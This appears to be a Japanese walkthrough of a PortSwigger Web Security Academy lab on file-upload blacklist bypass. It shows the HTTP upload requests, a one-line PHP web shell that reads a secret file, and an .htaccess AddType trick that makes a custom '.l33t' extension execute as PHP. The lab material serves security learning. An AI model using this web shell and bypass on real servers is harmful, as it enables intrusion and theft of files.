Web Security Academy: File upload vulnerabilities

ブラックリスト・バイパスによる Web shell のアップロード。20 of 35 ラボ

https://portswigger.net/web-security/learning-paths/file-upload-vulnerabilities/insufficient-blacklisting-of-dangerous-file-types/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass

デフォルトリクエスト

POST /my-account/avatar HTTP/2
Host: 0ad0006b0360a00aa91c1aa50035002c.web-security-academy.net
Cookie: session=MaMEkgW9w2SCDP1ik0p39ruNmlwPY7Qz
~省略~
  
------WebKitFormBoundaryBsueLBip14ARmpO6
Content-Disposition: form-data; name="avatar"; filename="hacker.png"
Content-Type: image/png
  
�PNG
~バイナリのため省略~

デフォルトアップロード先

<img src="/files/avatars/hacker.png" class="avatar">

1. テスト用WebShell

<?php echo file_get_contents('/home/carlos/secret'); ?>

"php files are not allowed"

2. .htaccess ファイルのアップロード(別の拡張子のファイルを PHP としてパース)

Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .l33t(← LEET: リート。一部のアルファベットを似た形の数字や記号で置き換える書き方のこと)
HTTP/2 200 OK
The file avatars/.htaccess has been uploaded.

3. 拡張子を変えた WebShellの再アップロード

------WebKitFormBoundaryagT3gEkXQlWsnH8A
Content-Disposition: form-data; name="avatar"; filename="webshell3.l33t"
Content-Type: application/octet-stream
  
<?php echo file_get_contents('/home/carlos/secret'); ?>
HTTP/2 200 OK
The file avatars/webshell5.l33t has been uploaded.

.l33t ファイルもPHPであると関連付けられているため実行される。

参考情報

PHP: Apache 2.x (Unixシステム用) - Manual
Apache が特定の拡張子のファイルを PHP としてパースするよう設定します。 たとえば、Apache が拡張子 .php のファイルを PHP としてパースするようにします。 単に Apache の AddType ディレクティブを使うだけではなく、 悪意を持ってアップロード (あるいは作成) された exploit.php.jpg のようなファイルが PHP として実行されてしまわないようにしたいものです。

/* -----codeの行番号----- */